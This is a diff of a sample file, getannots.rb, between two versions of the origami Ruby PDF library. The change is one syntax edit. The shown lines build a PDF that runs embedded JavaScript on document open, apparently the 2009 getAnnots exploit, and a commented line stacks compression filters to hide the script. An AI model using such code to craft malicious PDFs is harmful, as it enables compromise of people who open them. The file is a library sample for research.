samples/exploits/getannots.rb in origami-1.2.5 vs samples/exploits/getannots.rb in origami-1.2.6
- old
+ new
@@ -53,10 +53,10 @@
//# milw0rm.com [2009-04-29]
|
#exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
-exploit = Action::JavaScript.new(Stream.new(jscript))
+exploit = Action::JavaScript Stream.new(jscript)
pdf.onDocumentOpen( exploit )
annot = Annotation::Text.new
annot.Contents = "Hello world"